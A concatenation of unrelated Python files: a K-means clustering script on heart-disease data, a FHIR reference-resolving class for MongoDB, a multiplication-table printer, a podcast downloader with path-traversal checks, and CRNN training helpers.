    #dist = [manhattan_distance((0,0), x) for x in find_crossings(pos1, pos2)]
    dist = find_xing_index(pos1, pos2)

    print(dist)
    print(np.min(dist))


import numpy as np
import random
from sklearn.metrics import adjusted_rand_score
from sklearn.metrics import homogeneity_completeness_v_measure
from sklearn.metrics import fowlkes_mallows_score
from sklearn import manifold
import matplotlib.pyplot as plt
iris_data_path='../data/iris/iris.data'
heart_data_path = '../data/heart/heart.dat'
# Load the dataset
with open(heart_data_path,'r') as f:
    heart_data = [line.strip().split(' ') for line in f.readlines()]
    data_X = [x[:-1] for x in heart_data if x ]
    data_X = np.array(data_X,dtype=float)
    data_Y = [y[-1] for y in heart_data]
    for index,i in enumerate(data_Y):
        data_Y[index] = float(i)-1
    data_Y = np.array(data_Y)
# 正规化数据集 X
def normalize(X, axis=-1, p=2):
    lp_norm = np.atleast_1d(np.linalg.norm(X, p, axis))
    lp_norm[lp_norm == 0] = 1
    return X / np.expand_dims(lp_norm, axis)

# 计算一个样本与数据集中所有样本的欧氏距离的平方
def euclidean_distance(one_sample, X):
    one_sample = one_sample.reshape(1, -1)
    X = X.reshape(X.shape[0], -1)
    distances = np.power(np.tile(one_sample, (X.shape[0], 1)) - X, 2).sum(axis=1)
    return distances
def plotResult(data,re_label,cluster_num):
    tsne = manifold.TSNE(n_components=2,init='pca',random_state=1)
    X_tsne = tsne.fit_transform(data)
    colors = ['b','g','r','#e24fff']
    max_i = max(X_tsne[:,0])
    min_i = min(X_tsne[:,0])
    max_j = max(X_tsne[:,1])
    min_j = min(X_tsne[:,1])
    for i in range(cluster_num):
        index = np.nonzero(re_label==i)[0]
        x0 = X_tsne[index,0]
        x1 = X_tsne[index,1]
        for j in range(len(x0)):
            plt.scatter(x0[j],x1[j],color = colors[i])
    plt.axis([min_i,max_i,min_j,max_j])
    plt.show()

class Kmeans():
    """Kmeans聚类算法.

    Parameters:
    -----------
    k: int
        聚类的数目.
    max_iterations: int
        最大迭代次数.
    varepsilon: float
        判断是否收敛, 如果上一次的所有k个聚类中心与本次的所有k个聚类中心的差都小于varepsilon,
        则说明算法已经收敛
    """
    def __init__(self, k=2, max_iterations=500, varepsilon=0.0001):
        self.k = k
        self.max_iterations = max_iterations
        self.varepsilon = varepsilon

    # 从所有样本中随机选取self.k样本作为初始的聚类中心
    def init_random_centroids(self, X):
        n_samples, n_features = X.shape
        centroids = np.zeros((self.k, n_features))
        for i in range(self.k):
            centroid = X[np.random.choice(range(n_samples))]
            centroids[i] = centroid
        return centroids

    # 返回距离该样本最近的一个中心索引[0, self.k)
    def _closest_centroid(self, sample, centroids):
        distances = euclidean_distance(sample, centroids)
        closest_i = np.argmin(distances)
        return closest_i

    # 将所有样本进行归类，归类规则就是将该样本归类到与其最近的中心
    def create_clusters(self, centroids, X):
        n_samples = np.shape(X)[0]
        clusters = [[] for _ in range(self.k)]
        for sample_i, sample in enumerate(X):
            centroid_i = self._closest_centroid(sample, centroids)
            clusters[centroid_i].append(sample_i)
        return clusters

    # 对中心进行更新
    def update_centroids(self, clusters, X):
        n_features = np.shape(X)[1]
        centroids = np.zeros((self.k, n_features))
        for i, cluster in enumerate(clusters):
            centroid = np.mean(X[cluster], axis=0)
            centroids[i] = centroid
        return centroids

    # 将所有样本进行归类，其所在的类别的索引就是其类别标签
    def get_cluster_labels(self, clusters, X):
        y_pred = np.zeros(np.shape(X)[0])
        for cluster_i, cluster in enumerate(clusters):
            for sample_i in cluster:
                y_pred[sample_i] = cluster_i
        return y_pred

    # 对整个数据集X进行Kmeans聚类，返回其聚类的标签
    def predict(self, X):
        # 从所有样本中随机选取self.k样本作为初始的聚类中心
        centroids = self.init_random_centroids(X)

        # 迭代，直到算法收敛(上一次的聚类中心和这一次的聚类中心几乎重合)或者达到最大迭代次数
        for _ in range(self.max_iterations):
            # 将所有进行归类，归类规则就是将该样本归类到与其最近的中心
            clusters = self.create_clusters(centroids, X)
            former_centroids = centroids

            # 计算新的聚类中心
            centroids = self.update_centroids(clusters, X)

            # 如果聚类中心几乎没有变化，说明算法已经收敛，退出迭代
            diff = centroids - former_centroids
            if diff.any() < self.varepsilon:
                break

        return self.get_cluster_labels(clusters, X)

def main():
    # 用Kmeans算法进行聚类
    clf = Kmeans(k=2)
    y_pred = clf.predict(data_X)
    print(len(y_pred))
    sum=0
    for y_,y in zip(y_pred,data_Y):
        if(y_==y):
            sum+=1
    print(sum)
    ari = adjusted_rand_score(data_Y,y_pred)
    print(ari)
    homogeneity_score, completeness_score, v_measure_score = homogeneity_completeness_v_measure(data_Y,y_pred)
    fmi_score = fowlkes_mallows_score(data_Y,y_pred)
    print(ari,homogeneity_score,completeness_score,v_measure_score)
    print(fmi_score)
    #heart_data 0.03023033258609608 0.01956452056981369 0.020272651831290223 0.019912292457130217 0.5307324925591533
    plotResult(data_X,y_pred,2)
if __name__ == "__main__":
    main()


import re
from collections import defaultdict
from dotty_dict import dotty

from loader.src.config.logger import create_logger

logger = create_logger("reference_binder")

# dotty-dict does not handle brackets indices,
# it uses dots instead (a.0.b instead of a[0].b)
def dotty_paths(paths):
    for path in paths:
        yield re.sub(r"\[(\d+)\]", r".\1", path)

def partial_identifier(identifier):
    (
        value,
        system,
        identifier_type_code,
        identifier_type_system,
    ) = ReferenceBinder.extract_key_tuple(identifier)
    if value:
        return {"identifier.value": value, "identifier.system": system}
    else:
        return {
            "identifier.type.coding.0.code": identifier_type_code,
            "identifier.type.coding.0.system": identifier_type_system,
        }

class ReferenceBinder:
    def __init__(self, fhirstore):
        self.fhirstore = fhirstore

        # cache is a dict of form
        # {
        #   (fhir_type_target, (value, system, code, code_system)):
        #           {(fhir_type_source, path, isArray): [fhir_id1, ...]},
        #   (fhir_type_target, (value, system, code, code_system)):
        #           {(fhir_type_source, path, isArray): [fhir_id]},
        #   ...
        # }
        # eg:
        # {
        #   (Practitioner, 1234, system): {(Patient, generalPractitioner, True): [fhir-pract-id]},
        #   ...
        # }

        self.cache = defaultdict(lambda: defaultdict(list))

    def resolve_references(self, unresolved_fhir_object, reference_paths):
        fhir_object = dotty(unresolved_fhir_object)

        # iterate over the instance's references and try to resolve them
        for reference_path in dotty_paths(reference_paths):
            logger.debug(
                f"Trying to resolve reference for resource {fhir_object['id']} "
                f"at {reference_path}"
            )
            try:
                bound_ref = self.bind_existing_reference(fhir_object, reference_path)
                fhir_object[reference_path] = bound_ref
            except Exception as e:
                logger.warning(
                    "Error while binding reference for instance "
                    f"{fhir_object} at path {reference_path}: {e}"
                )

        if "identifier" in fhir_object:
            self.resolve_pending_references(fhir_object)

        return fhir_object.to_dict()

    def bind_existing_reference(self, fhir_object, reference_path):
        reference_attribute = fhir_object[reference_path]

        def bind(ref, isArray=False):
            # extract the type and itentifier of the reference
            reference_type = ref["type"]
            identifier = ref["identifier"]
            try:
                identifier_tuple = self.extract_key_tuple(identifier)
            except Exception as e:
                logger.error(e)
                return ref

            # search the referenced resource in the database
            referenced_resource = self.fhirstore.db[reference_type].find_one(
                partial_identifier(identifier), ["id"],
            )
            if referenced_resource:
                # if found, add the ID as the "literal reference"
                # (https://www.hl7.org/fhir/references-definitions.html#Reference.reference)
                logger.info(f"reference to {reference_type} {identifier} resolved")
                ref["reference"] = f"{reference_type}/{referenced_resource['id']}"
            else:
                logger.info(
                    f"caching reference to {reference_type} {identifier} at {reference_path}"
                )

                # otherwise, cache the reference to resolve it later
                target_ref = (reference_type, identifier_tuple)
                source_ref = (fhir_object["resourceType"], reference_path, isArray)
                self.cache[target_ref][source_ref].append(fhir_object["id"])
            return ref

        # If we have a list of references, we want to bind all of them.
        # Thus, we loop on all the items in reference_attribute.
        if isinstance(reference_attribute, list):
            return [bind(ref, isArray=True) for ref in reference_attribute]
        else:
            return bind(reference_attribute)

    def resolve_pending_references(self, fhir_object):
        for identifier in fhir_object["identifier"]:
            try:
                identifier_tuple = self.extract_key_tuple(identifier)
            except Exception as e:
                logger.error(e)
                continue

            target_ref = (fhir_object["resourceType"], identifier_tuple)
            pending_refs = self.cache.get(target_ref, {})
            for (source_type, reference_path, isArray), refs in pending_refs.items():
                find_predicate = {
                    "id": {"$in": refs},
                    reference_path: {"$elemMatch": partial_identifier(identifier)}
                    if isArray
                    else partial_identifier(identifier),
                }
                # handle updating reference arrays:
                # we keep the indices in the path (eg: "identifier.0.assigner.reference")
                # but if fhir_object[reference_path] is an array, we use the '$' feature of mongo
                # in order to update the right element of the array.
                # https://docs.mongodb.com/manual/reference/operator/update/positional/#update-documents-in-an-array
                # FIXME: won't work if multiple elements of the array need to be updated (see
                # https://docs.mongodb.com/manual/reference/operator/update/positional-filtered/#identifier).
                update_predicate = {
                    "$set": {
                        f"{reference_path}{'.$' if isArray else ''}.reference": fhir_object["id"]
                    }
                }
                logger.info(
                    "Updating resource %s: %s %s", source_type, find_predicate, update_predicate
                )
                self.fhirstore.db[source_type].update_many(find_predicate, update_predicate)
            if len(pending_refs) > 0:
                del self.cache[target_ref]

    @staticmethod
    def extract_key_tuple(identifier):
        """ Build a tuple that contains the essential information from an Identifier.
        This tuple serves as a map key.
        """
        value = identifier.get("value")
        system = identifier.get("system")
        identifier_type_coding = identifier["type"]["coding"][0] if "type" in identifier else {}
        identifier_type_system = identifier_type_coding.get("system")
        identifier_type_code = identifier_type_coding.get("code")

        logger.debug("%s %s", (value and system), (identifier_type_system and identifier_type_code))
        if not (bool(value and system) ^ bool(identifier_type_system and identifier_type_code)):
            raise Exception(
                f"invalid identifier: {identifier} identifier.value and identifier.system "
                "or identifier.type are required and mutually exclusive"
            )

        return (value, system, identifier_type_code, identifier_type_system)


def chengfabiao(rows):
    start = 1;

    for row in range(start, rows):
        str1 = ""
        space = " "
        for col in range(1, row + 1):
            if (row == 3 and col == 2) or (row == 4 and col == 2):
                space = "  "
            else:

                space = " "
            str1 += (str(row) + "*" + str(col) + "=" + str(row * col) + space)
        print(str1)
chengfabiao(20)


import os
import logging
import urllib

log = logging.getLogger()

class Episode:
    def __init__( self, ref, name, podcastname, url, filename ):
        """ Initialiser
            Params:
                ref - Unique reference
                name - Name of episode
                podcastname - name of the podcast
                url - Remote url
                filename - Destination filename (ONLY filename, no path)

            The file path will be built from basedir + podcastname + filename
            at runtime.
        """
        # make sure that podcastname as well as filename have no path components at this point
        # as this could be used to mess up the destination path and potentially allows for
        # escape from the baseDir directory structure
        if os.path.dirname(podcastname) or os.path.dirname(filename):
            log.error("podcastname and/or filename contain path components! podcastname=%s, filename=%s",
                            podcastname, filename)
            raise Exception("podcastname and/or filename contain path components!")
        self.ref = ref
        self.name = name
        self.podcastname = podcastname
        self.url = url
        self.destFilename = filename

    def Download( self, baseDir, force=False ):
        """ Downloads the podcast, if not already done
            Params:
                baseDir - root directory for podcast download
                force - If true, overwrite any existing
                        files
        """
        destFullPath = os.path.join(baseDir, self.podcastname, self.destFilename)
        destFullPath = os.path.normpath(destFullPath)
        # more paranoia: make sure that the destination path is really within the baseDir
        if not destFullPath.startswith(baseDir):
            log.error("episode destination path is outside of podcast root dir: %s", destFullPath)
            raise Exception("episode destination path must be within podcast root dir!")
        if os.path.exists( destFullPath ) and not force:
            # destination file already exists and overwriting not requested
            log.debug( "destination file %s already exists and no overwriting requested", destFullPath )
            return
        args = ( self.url, destFullPath )
        try:
            log.debug( "Downloading %s to %s", *args )
            urllib.urlretrieve( *args )
        except:
            log.error( "Failed to download %s to %s", *args )
            raise


import argparse
import logging
import os

import cv2 as cv
import torch

from config import max_target_len, dict, converter

def clip_gradient(optimizer, grad_clip):
    """
    Clips gradients computed during backpropagation to avoid explosion of gradients.
    :param optimizer: optimizer with the gradients to be clipped
    :param grad_clip: clip value
    """
    for group in optimizer.param_groups:
        for param in group['params']:
            if param.grad is not None:
                param.grad.data.clamp_(-grad_clip, grad_clip)

def save_checkpoint(epoch, epochs_since_improvement, model, optimizer, hmean, is_best):
    state = {'epoch': epoch,
             'epochs_since_improvement': epochs_since_improvement,
             'hmean': hmean,
             'model': model,
             'optimizer': optimizer}
    # filename = 'checkpoint_' + str(epoch) + '_' + str(loss) + '.tar'
    filename = 'checkpoint.tar'
    torch.save(state, filename)
    # If this checkpoint is the best so far, store a copy so it doesn't get overwritten by a worse checkpoint
    if is_best:
        torch.save(state, 'BEST_checkpoint.tar')

class AverageMeter(object):
    """
    Keeps track of most recent, average, sum, and count of a metric.
    """

    def __init__(self):
        self.reset()

    def reset(self):
        self.val = 0
        self.avg = 0
        self.sum = 0
        self.count = 0

    def update(self, val, n=1):
        self.val = val
        self.sum += val * n
        self.count += n
        self.avg = self.sum / self.count

def adjust_learning_rate(optimizer, shrink_factor):
    """
    Shrinks learning rate by a specified factor.
    :param optimizer: optimizer whose learning rate must be shrunk.
    :param shrink_factor: factor in interval (0, 1) to multiply learning rate with.
    """

    print("\nDECAYING learning rate.")
    for param_group in optimizer.param_groups:
        param_group['lr'] = param_group['lr'] * shrink_factor
    print("The new learning rate is %f\n" % (optimizer.param_groups[0]['lr'],))

def get_learning_rate(optimizer):
    return optimizer.param_groups[0]['lr']

def accuracy(inputs, input_lengths, labels, batch_size):
    n_correct = 0
    # print(preds.size())
    _, inputs = inputs.max(2)
    # print(preds.size())
    # preds = preds.squeeze(2)
    inputs = inputs.transpose(1, 0).contiguous().view(-1)
    sim_preds = converter.decode(inputs.data, input_lengths.data, raw=False)
    for pred, target in zip(sim_preds, labels):
        if pred == target:
            n_correct += 1
    accuracy = n_correct / float(batch_size)
    return accuracy

def parse_args():
    parser = argparse.ArgumentParser(description='Train CRNN network')
    # general
    parser.add_argument('--optimizer', default='adam', help='optimizer')
    parser.add_argument('--batch-size', type=int, default=64, help='batch size')
    parser.add_argument('--lr', type=float, default=0.01, help='start learning rate')
    parser.add_argument('--end-epoch', type=int, default=1000, help='training epoch size.')

    # optimizer
    parser.add_argument('--k', default=0.2, type=float,
                        help='tunable scalar multiply to learning rate')
    parser.add_argument('--warmup_steps', default=4000, type=int,
                        help='warmup steps')

    parser.add_argument('--checkpoint', type=str, default=None, help='checkpoint')
    args = parser.parse_args()
    return args

def get_logger():
    logger = logging.getLogger()
    handler = logging.StreamHandler()
    formatter = logging.Formatter("%(asctime)s %(levelname)s \t%(message)s")
    handler.setFormatter(formatter)
    logger.addHandler(handler)
    logger.setLevel(logging.DEBUG)
    return logger

def draw_str(dst, target, s):
    x, y = target
    cv.putText(dst, s, (x + 1, y + 1), cv.FONT_HERSHEY_PLAIN, 1.0, (0, 0, 0), thickness=2, lineType=cv.LINE_AA)
    cv.putText(dst, s, (x, y), cv.FONT_HERSHEY_PLAIN, 1.0, (255, 255, 255), lineType=cv.LINE_AA)

def ensure_folder(folder):
    if not os.path.exists(folder):
        os.makedirs(folder)

def encode_target(target):
    return [dict[c] for c in target] + [0] * (max_target_len - len(target))

def get_images_for_test():
    from config import annotation_files
    split = 'test'
    print('loading {} annotation data...'.format('test'))
    annotation_file = annotation_files[split]
    with open(annotation_file, 'r') as file:
        lines = file.readlines()

    image_paths = [line.split(' ')[0] for line in lines]
    return image_paths